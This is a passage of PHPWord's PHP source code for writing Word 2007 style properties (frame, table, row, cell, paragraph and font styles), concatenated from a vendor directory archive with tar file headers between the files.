 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\Style\Frame as FrameStyle;
use PhpOffice\PhpWord\Writer\Word2007\Element\ParagraphAlignment;

/**
 * Frame style writer.
 *
 * @since 0.12.0
 */
class Frame extends AbstractStyle
{
    const PHP_32BIT_INT_MAX = 2147483647;

    /**
     * Write style.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof FrameStyle) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        $maxZIndex = min(PHP_INT_MAX, self::PHP_32BIT_INT_MAX);
        $zIndices = [FrameStyle::WRAP_INFRONT => $maxZIndex, FrameStyle::WRAP_BEHIND => -$maxZIndex];

        $properties = [
            'width' => 'width',
            'height' => 'height',
            'left' => 'margin-left',
            'top' => 'margin-top',
            'wrapDistanceTop' => 'mso-wrap-distance-top',
            'wrapDistanceBottom' => 'mso-wrap-distance-bottom',
            'wrapDistanceLeft' => 'mso-wrap-distance-left',
            'wrapDistanceRight' => 'mso-wrap-distance-right',
        ];
        $sizeStyles = $this->getStyles($style, $properties, $style->getUnit());

        $properties = [
            'pos' => 'position',
            'hPos' => 'mso-position-horizontal',
            'vPos' => 'mso-position-vertical',
            'hPosRelTo' => 'mso-position-horizontal-relative',
            'vPosRelTo' => 'mso-position-vertical-relative',
        ];
        $posStyles = $this->getStyles($style, $properties);

        $styles = array_merge($sizeStyles, $posStyles);

        // zIndex for infront & behind wrap
        $wrap = $style->getWrap();
        if ($wrap !== null && isset($zIndices[$wrap])) {
            $styles['z-index'] = $zIndices[$wrap];
            $wrap = null;
        }

        // Style attribute
        $xmlWriter->writeAttribute('style', $this->assembleStyle($styles));

        $this->writeWrap($xmlWriter, $style, $wrap);
    }

    /**
     * Write alignment.
     */
    public function writeAlignment(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof FrameStyle) {
            return;
        }

        $xmlWriter = $this->getXmlWriter();
        $xmlWriter->startElement('w:pPr');

        if ('' !== $style->getAlignment()) {
            $paragraphAlignment = new ParagraphAlignment($style->getAlignment());
            $xmlWriter->startElement($paragraphAlignment->getName());
            foreach ($paragraphAlignment->getAttributes() as $attributeName => $attributeValue) {
                $xmlWriter->writeAttribute($attributeName, $attributeValue);
            }
            $xmlWriter->endElement();
        }

        $xmlWriter->endElement();
    }

    /**
     * Write wrap.
     *
     * @param string $wrap
     */
    private function writeWrap(XMLWriter $xmlWriter, FrameStyle $style, $wrap): void
    {
        if ($wrap !== null) {
            $xmlWriter->startElement('w10:wrap');
            $xmlWriter->writeAttribute('type', $wrap);

            $relativePositions = [
                FrameStyle::POS_RELTO_MARGIN => 'margin',
                FrameStyle::POS_RELTO_PAGE => 'page',
                FrameStyle::POS_RELTO_TMARGIN => 'margin',
                FrameStyle::POS_RELTO_BMARGIN => 'page',
                FrameStyle::POS_RELTO_LMARGIN => 'margin',
                FrameStyle::POS_RELTO_RMARGIN => 'page',
            ];
            $pos = $style->getPos();
            $hPos = $style->getHPosRelTo();
            $vPos = $style->getVPosRelTo();

            if ($pos == FrameStyle::POS_ABSOLUTE) {
                $xmlWriter->writeAttribute('anchorx', 'page');
                $xmlWriter->writeAttribute('anchory', 'page');
            } elseif ($pos == FrameStyle::POS_RELATIVE) {
                if (isset($relativePositions[$hPos])) {
                    $xmlWriter->writeAttribute('anchorx', $relativePositions[$hPos]);
                }
                if (isset($relativePositions[$vPos])) {
                    $xmlWriter->writeAttribute('anchory', $relativePositions[$vPos]);
                }
            }

            $xmlWriter->endElement(); // w10:wrap
        }
    }

    /**
     * Get style values in associative array.
     *
     * @param array $properties
     * @param string $suffix
     *
     * @return array
     */
    private function getStyles(FrameStyle $style, $properties, $suffix = '')
    {
        $styles = [];

        foreach ($properties as $key => $property) {
            $method = "get{$key}";
            $value = $style->$method();
            if ($value !== null) {
                $styles[$property] = $style->$method() . $suffix;
            }
        }

        return $styles;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/TablePosition.php000066600000003521151150442730022735 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

/**
 * TablePosition style writer.
 */
class TablePosition extends AbstractStyle
{
    /**
     * Write style.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\TablePosition) {
            return;
        }

        $values = [];
        $properties = [
            'leftFromText',
            'rightFromText',
            'topFromText',
            'bottomFromText',
            'vertAnchor',
            'horzAnchor',
            'tblpXSpec',
            'tblpX',
            'tblpYSpec',
            'tblpY',
        ];
        foreach ($properties as $property) {
            $method = 'get' . $property;
            if (method_exists($style, $method)) {
                $values[$property] = $style->$method();
            }
        }
        $values = array_filter($values);

        if ($values) {
            $xmlWriter = $this->getXmlWriter();
            $xmlWriter->startElement('w:tblpPr');
            foreach ($values as $property => $value) {
                $xmlWriter->writeAttribute('w:' . $property, $value);
            }
            $xmlWriter->endElement();
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Table.php000066600000014512151150442730021212 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\SimpleType\TblWidth;
use PhpOffice\PhpWord\Style\Table as TableStyle;
use PhpOffice\PhpWord\Writer\Word2007\Element\TableAlignment;

/**
 * Table style writer.
 *
 * @since 0.10.0
 */
class Table extends AbstractStyle
{
    /**
     * @var int Table width
     */
    private $width;

    /**
     * Write style.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        $xmlWriter = $this->getXmlWriter();

        if ($style instanceof TableStyle) {
            $this->writeStyle($xmlWriter, $style);
        } elseif (is_string($style)) {
            $xmlWriter->startElement('w:tblPr');
            $xmlWriter->startElement('w:tblStyle');
            $xmlWriter->writeAttribute('w:val', $style);
            $xmlWriter->endElement();
            if (null !== $this->width) {
                $this->writeTblWidth($xmlWriter, 'w:tblW', TblWidth::PERCENT, $this->width);
            }
            $xmlWriter->endElement();
        }
    }

    /**
     * Write full style.
     */
    private function writeStyle(XMLWriter $xmlWriter, TableStyle $style): void
    {
        // w:tblPr
        $xmlWriter->startElement('w:tblPr');

        // Table alignment
        if ('' !== $style->getAlignment()) {
            $tableAlignment = new TableAlignment($style->getAlignment());
            $xmlWriter->startElement($tableAlignment->getName());
            foreach ($tableAlignment->getAttributes() as $attributeName => $attributeValue) {
                $xmlWriter->writeAttribute($attributeName, $attributeValue);
            }
            $xmlWriter->endElement();
        }

        $this->writeTblWidth($xmlWriter, 'w:tblW', $style->getUnit(), $style->getWidth());
        $this->writeTblWidth($xmlWriter, 'w:tblCellSpacing', TblWidth::TWIP, $style->getCellSpacing());
        $this->writeIndent($xmlWriter, $style);
        $this->writeLayout($xmlWriter, $style->getLayout());

        // Position
        $styleWriter = new TablePosition($xmlWriter, $style->getPosition());
        $styleWriter->write();

        //Right to left
        $xmlWriter->writeElementIf($style->isBidiVisual() !== null, 'w:bidiVisual', 'w:val', $this->writeOnOf($style->isBidiVisual()));

        $this->writeMargin($xmlWriter, $style);
        $this->writeBorder($xmlWriter, $style);

        $xmlWriter->endElement(); // w:tblPr

        $this->writeShading($xmlWriter, $style);

        // First row style
        $firstRow = $style->getFirstRow();
        if ($firstRow instanceof TableStyle) {
            $this->writeFirstRow($xmlWriter, $firstRow);
        }
    }

    /**
     * Enable/Disable automatic resizing of the table.
     *
     * @param string $layout autofit / fixed
     */
    private function writeLayout(XMLWriter $xmlWriter, $layout): void
    {
        $xmlWriter->startElement('w:tblLayout');
        $xmlWriter->writeAttribute('w:type', $layout);
        $xmlWriter->endElement(); // w:tblLayout
    }

    /**
     * Write margin.
     */
    private function writeMargin(XMLWriter $xmlWriter, TableStyle $style): void
    {
        if ($style->hasMargin()) {
            $xmlWriter->startElement('w:tblCellMar');

            $styleWriter = new MarginBorder($xmlWriter);
            $styleWriter->setSizes($style->getCellMargin());
            $styleWriter->write();

            $xmlWriter->endElement(); // w:tblCellMar
        }
    }

    /**
     * Write border.
     */
    private function writeBorder(XMLWriter $xmlWriter, TableStyle $style): void
    {
        if ($style->hasBorder()) {
            $xmlWriter->startElement('w:tblBorders');

            $styleWriter = new MarginBorder($xmlWriter);
            $styleWriter->setSizes($style->getBorderSize());
            $styleWriter->setColors($style->getBorderColor());
            $styleWriter->write();

            $xmlWriter->endElement(); // w:tblBorders
        }
    }

    /**
     * Writes a table width.
     *
     * @param string $elementName
     * @param string $unit
     * @param float|int $width
     */
    private function writeTblWidth(XMLWriter $xmlWriter, $elementName, $unit, $width = null): void
    {
        if (null === $width) {
            return;
        }
        $xmlWriter->startElement($elementName);
        $xmlWriter->writeAttributeIf(null !== $width, 'w:w', $width);
        $xmlWriter->writeAttribute('w:type', $unit);
        $xmlWriter->endElement();
    }

    /**
     * Write row style.
     */
    private function writeFirstRow(XMLWriter $xmlWriter, TableStyle $style): void
    {
        $xmlWriter->startElement('w:tblStylePr');
        $xmlWriter->writeAttribute('w:type', 'firstRow');
        $xmlWriter->startElement('w:tcPr');

        $this->writeBorder($xmlWriter, $style);
        $this->writeShading($xmlWriter, $style);

        $xmlWriter->endElement(); // w:tcPr
        $xmlWriter->endElement(); // w:tblStylePr
    }

    /**
     * Write shading.
     */
    private function writeShading(XMLWriter $xmlWriter, TableStyle $style): void
    {
        if (null !== $style->getShading()) {
            $xmlWriter->startElement('w:tcPr');

            $styleWriter = new Shading($xmlWriter, $style->getShading());
            $styleWriter->write();

            $xmlWriter->endElement();
        }
    }

    /**
     * Set width.
     *
     * @param int $value
     */
    public function setWidth($value = null): void
    {
        $this->width = $value;
    }

    private function writeIndent(XMLWriter $xmlWriter, TableStyle $style): void
    {
        $indent = $style->getIndent();

        if ($indent === null) {
            return;
        }

        $this->writeTblWidth($xmlWriter, 'w:tblInd', $indent->getType(), $indent->getValue());
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Row.php000066600000003436151150442730020735 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

/**
 * Row style writer.
 *
 * @since 0.11.0
 */
class Row extends AbstractStyle
{
    /**
     * @var int Row height
     */
    private $height;

    /**
     * Write style.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Row) {
            return;
        }

        $xmlWriter = $this->getXmlWriter();
        $xmlWriter->startElement('w:trPr');

        if ($this->height !== null) {
            $xmlWriter->startElement('w:trHeight');
            $xmlWriter->writeAttribute('w:val', $this->height);
            $xmlWriter->writeAttribute('w:hRule', ($style->isExactHeight() ? 'exact' : 'atLeast'));
            $xmlWriter->endElement();
        }
        $xmlWriter->writeElementIf($style->isTblHeader(), 'w:tblHeader', 'w:val', '1');
        $xmlWriter->writeElementIf($style->isCantSplit(), 'w:cantSplit', 'w:val', '1');

        $xmlWriter->endElement(); // w:trPr
    }

    /**
     * Set height.
     *
     * @param int $value
     */
    public function setHeight($value = null): void
    {
        $this->height = $value;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Cell.php000066600000006144151150442730021044 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

use PhpOffice\PhpWord\Style\Cell as CellStyle;

/**
 * Cell style writer.
 *
 * @since 0.10.0
 */
class Cell extends AbstractStyle
{
    /**
     * @var int Cell width
     */
    private $width;

    /**
     * Write style.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof CellStyle) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('w:tcPr');

        // Width
        if (null !== $this->width || null !== $style->getWidth()) {
            $width = null === $this->width ? $style->getWidth() : $this->width;

            $xmlWriter->startElement('w:tcW');
            $xmlWriter->writeAttribute('w:w', $width);
            $xmlWriter->writeAttribute('w:type', $style->getUnit());
            $xmlWriter->endElement(); // w:tcW
        }

        // Text direction
        $textDir = $style->getTextDirection();
        $xmlWriter->writeElementIf(null !== $textDir, 'w:textDirection', 'w:val', $textDir);

        // Vertical alignment
        $vAlign = $style->getVAlign();
        $xmlWriter->writeElementIf(null !== $vAlign, 'w:vAlign', 'w:val', $vAlign);

        // Border
        if ($style->hasBorder()) {
            $xmlWriter->startElement('w:tcBorders');

            $styleWriter = new MarginBorder($xmlWriter);
            $styleWriter->setSizes($style->getBorderSize());
            $styleWriter->setColors($style->getBorderColor());
            $styleWriter->setStyles($style->getBorderStyle());
            $styleWriter->setAttributes(['defaultColor' => CellStyle::DEFAULT_BORDER_COLOR]);
            $styleWriter->write();

            $xmlWriter->endElement();
        }

        // Shading
        $shading = $style->getShading();
        if (null !== $shading) {
            $styleWriter = new Shading($xmlWriter, $shading);
            $styleWriter->write();
        }

        // Colspan & rowspan
        $gridSpan = $style->getGridSpan();
        $vMerge = $style->getVMerge();
        $xmlWriter->writeElementIf(null !== $gridSpan, 'w:gridSpan', 'w:val', $gridSpan);
        $xmlWriter->writeElementIf(null !== $vMerge, 'w:vMerge', 'w:val', $vMerge);
        $xmlWriter->writeElementIf($style->getNoWrap(), 'w:noWrap');

        $xmlWriter->endElement(); // w:tcPr
    }

    /**
     * Set width.
     *
     * @param int $value
     */
    public function setWidth($value = null): void
    {
        $this->width = $value;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Paragraph.php000066600000014762151150442730022077 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\Style;
use PhpOffice\PhpWord\Style\Paragraph as ParagraphStyle;
use PhpOffice\PhpWord\Writer\Word2007\Element\ParagraphAlignment;

/**
 * Paragraph style writer.
 *
 * @since 0.10.0
 */
class Paragraph extends AbstractStyle
{
    /**
     * Without w:pPr.
     *
     * @var bool
     */
    private $withoutPPR = false;

    /**
     * Is inline in element.
     *
     * @var bool
     */
    private $isInline = false;

    /**
     * Write style.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();

        $isStyleName = $this->isInline && null !== $this->style && is_string($this->style);
        if ($isStyleName) {
            if (!$this->withoutPPR) {
                $xmlWriter->startElement('w:pPr');
            }
            $xmlWriter->startElement('w:pStyle');
            $xmlWriter->writeAttribute('w:val', $this->style);
            $xmlWriter->endElement();
            if (!$this->withoutPPR) {
                $xmlWriter->endElement();
            }
        } else {
            $this->writeStyle();
        }
    }

    /**
     * Write full style.
     */
    private function writeStyle(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof ParagraphStyle) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();
        $styles = $style->getStyleValues();

        if (!$this->withoutPPR) {
            $xmlWriter->startElement('w:pPr');
        }

        // Style name
        if ($this->isInline === true) {
            $xmlWriter->writeElementIf($styles['name'] !== null, 'w:pStyle', 'w:val', $styles['name']);
        }

        // Pagination
        $xmlWriter->writeElementIf($styles['pagination']['widowControl'] === false, 'w:widowControl', 'w:val', '0');
        $xmlWriter->writeElementIf($styles['pagination']['keepNext'] === true, 'w:keepNext', 'w:val', '1');
        $xmlWriter->writeElementIf($styles['pagination']['keepLines'] === true, 'w:keepLines', 'w:val', '1');
        $xmlWriter->writeElementIf($styles['pagination']['pageBreak'] === true, 'w:pageBreakBefore', 'w:val', '1');

        // Paragraph alignment
        if ('' !== $styles['alignment']) {
            $paragraphAlignment = new ParagraphAlignment($styles['alignment']);
            $xmlWriter->startElement($paragraphAlignment->getName());
            foreach ($paragraphAlignment->getAttributes() as $attributeName => $attributeValue) {
                $xmlWriter->writeAttribute($attributeName, $attributeValue);
            }
            $xmlWriter->endElement();
        }

        //Right to left
        $xmlWriter->writeElementIf($styles['bidi'] === true, 'w:bidi');

        //Paragraph contextualSpacing
        $xmlWriter->writeElementIf($styles['contextualSpacing'] === true, 'w:contextualSpacing');

        //Paragraph textAlignment
        $xmlWriter->writeElementIf($styles['textAlignment'] !== null, 'w:textAlignment', 'w:val', $styles['textAlignment']);

        // Hyphenation
        $xmlWriter->writeElementIf($styles['suppressAutoHyphens'] === true, 'w:suppressAutoHyphens');

        // Child style: alignment, indentation, spacing, and shading
        $this->writeChildStyle($xmlWriter, 'Indentation', $styles['indentation']);
        $this->writeChildStyle($xmlWriter, 'Spacing', $styles['spacing']);
        $this->writeChildStyle($xmlWriter, 'Shading', $styles['shading']);

        // Tabs
        $this->writeTabs($xmlWriter, $styles['tabs']);

        // Numbering
        $this->writeNumbering($xmlWriter, $styles['numbering']);

        // Border
        if ($style->hasBorder()) {
            $xmlWriter->startElement('w:pBdr');

            $styleWriter = new MarginBorder($xmlWriter);
            $styleWriter->setSizes($style->getBorderSize());
            $styleWriter->setStyles($style->getBorderStyle());
            $styleWriter->setColors($style->getBorderColor());
            $styleWriter->write();

            $xmlWriter->endElement();
        }

        if (!$this->withoutPPR) {
            $xmlWriter->endElement(); // w:pPr
        }
    }

    /**
     * Write tabs.
     *
     * @param \PhpOffice\PhpWord\Style\Tab[] $tabs
     */
    private function writeTabs(XMLWriter $xmlWriter, $tabs): void
    {
        if (!empty($tabs)) {
            $xmlWriter->startElement('w:tabs');
            foreach ($tabs as $tab) {
                $styleWriter = new Tab($xmlWriter, $tab);
                $styleWriter->write();
            }
            $xmlWriter->endElement();
        }
    }

    /**
     * Write numbering.
     *
     * @param array $numbering
     */
    private function writeNumbering(XMLWriter $xmlWriter, $numbering): void
    {
        $numStyle = $numbering['style'];
        $numLevel = $numbering['level'];

        /** @var \PhpOffice\PhpWord\Style\Numbering $numbering */
        $numbering = Style::getStyle($numStyle);
        if ($numStyle !== null && $numbering !== null) {
            $xmlWriter->startElement('w:numPr');
            $xmlWriter->startElement('w:numId');
            $xmlWriter->writeAttribute('w:val', $numbering->getIndex());
            $xmlWriter->endElement(); // w:numId
            $xmlWriter->startElement('w:ilvl');
            $xmlWriter->writeAttribute('w:val', $numLevel);
            $xmlWriter->endElement(); // w:ilvl
            $xmlWriter->endElement(); // w:numPr

            $xmlWriter->startElement('w:outlineLvl');
            $xmlWriter->writeAttribute('w:val', $numLevel);
            $xmlWriter->endElement(); // w:outlineLvl
        }
    }

    /**
     * Set without w:pPr.
     *
     * @param bool $value
     */
    public function setWithoutPPR($value): void
    {
        $this->withoutPPR = $value;
    }

    /**
     * Set is inline.
     *
     * @param bool $value
     */
    public function setIsInline($value): void
    {
        $this->isInline = $value;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/Font.php000066600000015513151150442730021073 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

/**
 * Font style writer.
 *
 * @since 0.10.0
 */
class Font extends AbstractStyle
{
    /**
     * Is inline in element.
     *
     * @var bool
     */
    private $isInline = false;

    /**
     * Write style.
     */
    public function write(): void
    {
        $xmlWriter = $this->getXmlWriter();

        $isStyleName = $this->isInline && null !== $this->style && is_string($this->style);
        if ($isStyleName) {
            $xmlWriter->startElement('w:rPr');
            $xmlWriter->startElement('w:rStyle');
            $xmlWriter->writeAttribute('w:val', $this->style);
            $xmlWriter->endElement();
            $style = \PhpOffice\PhpWord\Style::getStyle($this->style);
            if ($style instanceof \PhpOffice\PhpWord\Style\Font) {
                $xmlWriter->writeElementIf($style->isRTL(), 'w:rtl');
            }
            $xmlWriter->endElement();
        } else {
            $this->writeStyle();
        }
    }

    /**
     * Write full style.
     */
    private function writeStyle(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Font) {
            return;
        }

        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('w:rPr');

        // Style name
        if ($this->isInline === true) {
            $styleName = $style->getStyleName();
            $xmlWriter->writeElementIf($styleName !== null, 'w:rStyle', 'w:val', $styleName);
        }

        // Font name/family
        $font = $style->getName();
        $hint = $style->getHint();
        if ($font !== null) {
            $xmlWriter->startElement('w:rFonts');
            $xmlWriter->writeAttribute('w:ascii', $font);
            $xmlWriter->writeAttribute('w:hAnsi', $font);
            $xmlWriter->writeAttribute('w:eastAsia', $font);
            $xmlWriter->writeAttribute('w:cs', $font);
            $xmlWriter->writeAttributeIf($hint !== null, 'w:hint', $hint);
            $xmlWriter->endElement();
        }

        //Language
        $language = $style->getLang();
        if ($language != null && ($language->getLatin() !== null || $language->getEastAsia() !== null || $language->getBidirectional() !== null)) {
            $xmlWriter->startElement('w:lang');
            $xmlWriter->writeAttributeIf($language->getLatin() !== null, 'w:val', $language->getLatin());
            $xmlWriter->writeAttributeIf($language->getEastAsia() !== null, 'w:eastAsia', $language->getEastAsia());
            $xmlWriter->writeAttributeIf($language->getBidirectional() !== null, 'w:bidi', $language->getBidirectional());
            //if bidi is not set but we are writing RTL, write the latin language in the bidi tag
            if ($style->isRTL() && $language->getBidirectional() === null && $language->getLatin() !== null) {
                $xmlWriter->writeAttribute('w:bidi', $language->getLatin());
            }
            $xmlWriter->endElement();
        }

        // Color
        $color = $style->getColor();
        $xmlWriter->writeElementIf($color !== null, 'w:color', 'w:val', $color);

        // Size
        $size = $style->getSize();
        $xmlWriter->writeElementIf($size !== null, 'w:sz', 'w:val', $size * 2);
        $xmlWriter->writeElementIf($size !== null, 'w:szCs', 'w:val', $size * 2);

        // Bold, italic
        $xmlWriter->writeElementIf($style->isBold() !== null, 'w:b', 'w:val', $this->writeOnOf($style->isBold()));
        $xmlWriter->writeElementIf($style->isBold() !== null, 'w:bCs', 'w:val', $this->writeOnOf($style->isBold()));
        $xmlWriter->writeElementIf($style->isItalic() !== null, 'w:i', 'w:val', $this->writeOnOf($style->isItalic()));
        $xmlWriter->writeElementIf($style->isItalic() !== null, 'w:iCs', 'w:val', $this->writeOnOf($style->isItalic()));

        // Strikethrough, double strikethrough
        $xmlWriter->writeElementIf($style->isStrikethrough(), 'w:strike', 'w:val', $this->writeOnOf($style->isStrikethrough()));
        $xmlWriter->writeElementIf($style->isDoubleStrikethrough(), 'w:dstrike', 'w:val', $this->writeOnOf($style->isDoubleStrikethrough()));

        // Small caps, all caps
        $xmlWriter->writeElementIf($style->isSmallCaps() !== null, 'w:smallCaps', 'w:val', $this->writeOnOf($style->isSmallCaps()));
        $xmlWriter->writeElementIf($style->isAllCaps() !== null, 'w:caps', 'w:val', $this->writeOnOf($style->isAllCaps()));

        //Hidden text
        $xmlWriter->writeElementIf($style->isHidden(), 'w:vanish', 'w:val', $this->writeOnOf($style->isHidden()));

        // Underline
        $xmlWriter->writeElementIf($style->getUnderline() != 'none', 'w:u', 'w:val', $style->getUnderline());

        // Foreground-Color
        $xmlWriter->writeElementIf($style->getFgColor() !== null, 'w:highlight', 'w:val', $style->getFgColor());

        // Superscript/subscript
        $xmlWriter->writeElementIf($style->isSuperScript(), 'w:vertAlign', 'w:val', 'superscript');
        $xmlWriter->writeElementIf($style->isSubScript(), 'w:vertAlign', 'w:val', 'subscript');

        // Spacing
        $xmlWriter->writeElementIf($style->getScale() !== null, 'w:w', 'w:val', $style->getScale());
        $xmlWriter->writeElementIf($style->getSpacing() !== null, 'w:spacing', 'w:val', $style->getSpacing());
        $xmlWriter->writeElementIf($style->getKerning() !== null, 'w:kern', 'w:val', $style->getKerning() * 2);

        // noProof
        $xmlWriter->writeElementIf($style->isNoProof() !== null, 'w:noProof', 'w:val', $this->writeOnOf($style->isNoProof()));

        // Background-Color
        $shading = $style->getShading();
        if (null !== $shading) {
            $styleWriter = new Shading($xmlWriter, $shading);
            $styleWriter->write();
        }

        // RTL
        if ($this->isInline === true) {
            $styleName = $style->getStyleName();
            $xmlWriter->writeElementIf($styleName === null && $style->isRTL(), 'w:rtl');
        }

        // Position
        $xmlWriter->writeElementIf($style->getPosition() !== null, 'w:position', 'w:val', $style->getPosition());

        $xmlWriter->endElement();
    }

    /**
     * Set is inline.
     *
     * @param bool $value
     */
    public function setIsInline($value): void
    {
        $this->isInline = $value;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/Word2007/Style/AbstractStyle.php000066600000007104151150442730022746 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\Word2007\Style;

use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Shared\XMLWriter;

/**
 * Style writer.
 *
 * @since 0.10.0
 */
abstract class AbstractStyle
{
    /**
     * XML writer.
     *
     * @var \PhpOffice\PhpWord\Shared\XMLWriter
     */
    private $xmlWriter;

    /**
     * Style; set protected for a while.
     *
     * @var \PhpOffice\PhpWord\Style\AbstractStyle|string
     */
    protected $style;

    /**
     * Write style.
     */
    abstract public function write();

    /**
     * Create new instance.
     *
     * @param \PhpOffice\PhpWord\Style\AbstractStyle|string $style
     */
    public function __construct(XMLWriter $xmlWriter, $style = null)
    {
        $this->xmlWriter = $xmlWriter;
        $this->style = $style;
    }

    /**
     * Get XML Writer.
     *
     * @return \PhpOffice\PhpWord\Shared\XMLWriter
     */
    protected function getXmlWriter()
    {
        return $this->xmlWriter;
    }

    /**
     * Get Style.
     *
     * @return \PhpOffice\PhpWord\Style\AbstractStyle|string
     */
    protected function getStyle()
    {
        return $this->style;
    }

    /**
     * Convert twip value.
     *
     * @param float|int $value
     * @param int $default (int|float)
     *
     * @return float|int
     */
    protected function convertTwip($value, $default = 0)
    {
        $factors = [
            Settings::UNIT_CM => 567,
            Settings::UNIT_MM => 56.7,
            Settings::UNIT_INCH => 1440,
            Settings::UNIT_POINT => 20,
            Settings::UNIT_PICA => 240,
        ];
        $unit = Settings::getMeasurementUnit();
        $factor = 1;
        if (array_key_exists($unit, $factors) && $value != $default) {
            $factor = $factors[$unit];
        }

        return $value * $factor;
    }

    /**
     * Write child style.
     *
     * @param string $name
     * @param mixed $value
     */
    protected function writeChildStyle(XMLWriter $xmlWriter, $name, $value): void
    {
        if ($value !== null) {
            $class = 'PhpOffice\\PhpWord\\Writer\\Word2007\\Style\\' . $name;

            /** @var \PhpOffice\PhpWord\Writer\Word2007\Style\AbstractStyle $writer */
            $writer = new $class($xmlWriter, $value);
            $writer->write();
        }
    }

    /**
     * Writes boolean as 0 or 1.
     *
     * @param bool $value
     *
     * @return null|string
     */
    protected function writeOnOf($value = null)
    {
        if ($value === null) {
            return null;
        }

        return $value ? '1' : '0';
    }

    /**
     * Assemble style array into style string.
     *
     * @param array $styles
     *
     * @return string
     */
    protected function assembleStyle($styles = [])
    {
        $style = '';
